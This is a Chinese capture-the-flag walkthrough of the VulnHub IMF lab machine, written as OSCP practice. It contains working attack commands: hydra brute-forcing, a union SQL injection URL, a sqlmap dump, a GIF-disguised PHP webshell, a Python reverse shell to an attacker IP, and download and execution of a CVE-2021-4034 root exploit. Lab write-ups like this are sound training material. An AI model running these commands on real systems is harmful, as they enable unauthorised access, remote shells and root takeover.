~ 青房白瓦,亭台水榭 ~
靶机地址:https://www.vulnhub.com/entry/imf-1,162/
靶机难度:中级(CTF)
服务端口扫描
访问80端口
端口服务探测,能下手的只有80端口
这儿只找到一个关于,联系我们
只有一个80端口,本次靶机考核的应该就不是xss,可以直接跳过
下面似乎有三个用户
查看源码,这儿有一个flag1{YWxsdGhlZmlsZXM=}
解码看看
得到明文:allthefiles
网页上也没有其他东西了,用dirsearch进行目录扫描试试
表面上没有任何信息了,但又肯定存在其他信息,只能对源码进行审计
Place favicon.ico and apple-touch-icon.png in the root directory
白小羽
将favicon.ico和appletouch -icon.png放在根目录下
直到看到这些编码信息
将前面两个两个拼凑在一起
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNS
后面的那个就普通解码,得到后半部分
flag合起来就是,这里还是一个flag
flag2{aW1mYWRtaW5pc3RyYXRvcg==}
继续解码,imfadministrator,这个结果可能是密码信息,但是网页上并没有登录的功能,22端口也没有开启
那么就是目录了
这里不清楚用户名的话,还记得刚刚页面上的信息嘛,第一个是导演,第二个是副主任,第三个是参谋长
先目录扫描一下,看看能不能越权
不行
sql注入,万能密码
现在唯一没有利用上的就是第一个flag明文,可能是密码吧,allthefiles,但是也没有效果,继续查看源码
I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger
白小羽
我无法使SQL工作,所以我硬编码了密码。还是很安全的。——罗杰
这不是又是一个用户名,用户名不存在(无效的用户名),这又是一个漏洞点
试试刚刚的用户(导演 rmichaels,副主任 akeith,参谋长 estone),导演为密码错误
副主任 akeith 无效的用户名
参谋长 estone ,不存在
看样子只有导演能登陆了,用burp爆破
社区版很慢,考试只能用社区版,还有啥办法嘞,可以试试 hydra ,之前都是爆破一些协议,没有对http请求的内容进行爆破,这个还真没试过,我是菜鸡
分析页面信息 页面登录错误的信息为Invalid
登录失败的表单数据
那么就能得到hydra的参数详解
hydra -l rmichaels -P /usr/share/wordlists/fasttrack.txt -t 4 -vV 192.168.209.132 http-post-form "/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"
都失败了
hydra
:调用 Hydra
工具。
-l rmichaels
:指定单个用户名为 rmichaels
。这意味着 Hydra
将使用 rmichaels
作为用户名进行所有尝试。
-P /usr/share/wordlists/fasttrack.txt
:指定密码字典文件为 /usr/share/wordlists/fasttrack.txt
。Hydra
将从这个文件中读取密码,逐个尝试。
-t 4
:设置同时运行的线程数为 4。这可以提高破解效率,但同时也会增加对目标服务器的负载。
-vV
:显示详细的过程信息。这有助于了解 Hydra
的运行状态和尝试的用户名/密码组合。
192.168.209.132
:目标服务器的 IP 地址。
http-post-form
:指定服务类型为 HTTP POST 表单。
"/imfadministrator/index.php:user=^USER^&pass=^PASS^:Invalid"
:指定表单路径、参数和错误消息。
/imfadministrator/index.php
:表单的路径。这是目标服务器上处理登录请求的 PHP 文件的路径。
user=^USER^&pass=^PASS^
:表单的参数。^USER^
和 ^PASS^
是占位符,分别表示用户名和密码。Hydra
会将这些占位符替换为实际的用户名和密码进行尝试。
Invalid
:错误消息。当表单返回该消息时,表示登录失败。Hydra
会根据这个错误消息来判断当前尝试的用户名和密码是否有效。
使用强加密的话,可以利用php的特性,进行绕过
得到了flag3
flag3{Y29udGludWVUT2Ntcw==}
解密后的明文:continueTOcms
进入到home
试试文件包含
file协议
data协议
php://filter伪协议
sql注入测试,得到sql语法错误的结果,这里没有回显数据(暂定为盲注)
继续添加参数,普通的盲注是行不通的,这里要在后面再添加一个单引号
我们换一个页面试试,看看能不能找到其他回显数据,进一步判断是否可以使用其他类型的注入(找其他信息,尽量不要盲注,因为在oscp考试中,禁止使用商业化工具比如sqlmap),用order by行不通
看样子是利用这个pagename,回显html数据的,这里发现一个union联合查询注入
当前数据库
http://192.168.209.132/imfadministrator/cms.php?pagename=11111' union select concat(database())'#
# admin
接下来有一个很离谱的事儿,就是利用group_concat(111)能正常回显是吧,并且后面的sql语句没有报错
但是我一换成table_name就完蛋啦,无奈自能用sqlmap了
sqlmap脚本如下
sqlmap -u 'http://192.168.209.132/imfadministrator/cms.php?pagename=disavowlist' -p 'pagename' --dbms 'mysql' --level 3 --cookie 'PHPSESSID=rcvl9o0565ni5ub2ki19i1vcu3' --dump
可以看到这里是存在联合注入的
访问一下,错误。。。。不管了
看数据
这里有一个二维码,扫扫看
得到flag4,flag4{dXBsb2Fkcjk0Mi5waHA=}
解码为一个php文件
有一个文件上传
burp抓包
burp爆破文件后缀,普通的一句话木马不行,那么就需要进行绕过
webshell的绕过工具weevely
weevely generate <password> <path>
把木马放到windows上进行上传,尝试各种的上传方法,只有图片格式的可以上传,还需要添加文件头欺骗
但是我们并不知道文件的名称,有一个uploads文件夹,刚刚dirsearch扫出来的,查看上传成功的源码,dab037ffb2eb
这里访问图片
只有图片马,还需要一个文件包含的漏洞才可以getshell(找个半天没有。。。),但是gif不一样了
写入一句话木马
echo 'GIF89a <?php $cmd=$_GET['cmd']; echo `$cmd`; ?>' > cmd.gif
上传
http://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=id
ls 查看当前目录,发现flag5,flag5_abc123def.txt
cat flag5_abc123def.txt
http://192.168.209.132/imfadministrator/uploads/dfd5fb101707.gif?cmd=cat%20flag5_abc123def.txt
flag5{YWdlbnRzZXJ2aWNlcw==}
# 解码
agentservices
利用python3反弹shell
export RHOST="192.168.209.130";export RPORT=6666;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
系统信息收集,ubuntu 16.04 版本
但是这些exp都不行,这里提权有两种方法,一个是cve-2021-4034,一个是缓冲区溢出
exp提权,kali
git clone https://github.com/arthepsy/CVE-2021-4034.git
靶机
wget 192.168.209.130:5000/cve-2021-4034-poc.c
gcc -o exp cve-2021-4034-poc.c
./exp
第二种方法缓冲区溢出提权,看看参考文章吧,这里我的“敲门”服务开启端口失败了,可能是因为我用了提权脚本的问题。
附两篇写的比较好的文章参考(都是缓冲区溢出的):
https://www.freebuf.com/articles/system/329028.html
https://blog.csdn.net/ericalezl/article/details/131797477
往期推荐
原文始发于微信公众号(泷羽Sec-Norsea):【oscp】IMF缓冲区提权靶机渗透
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论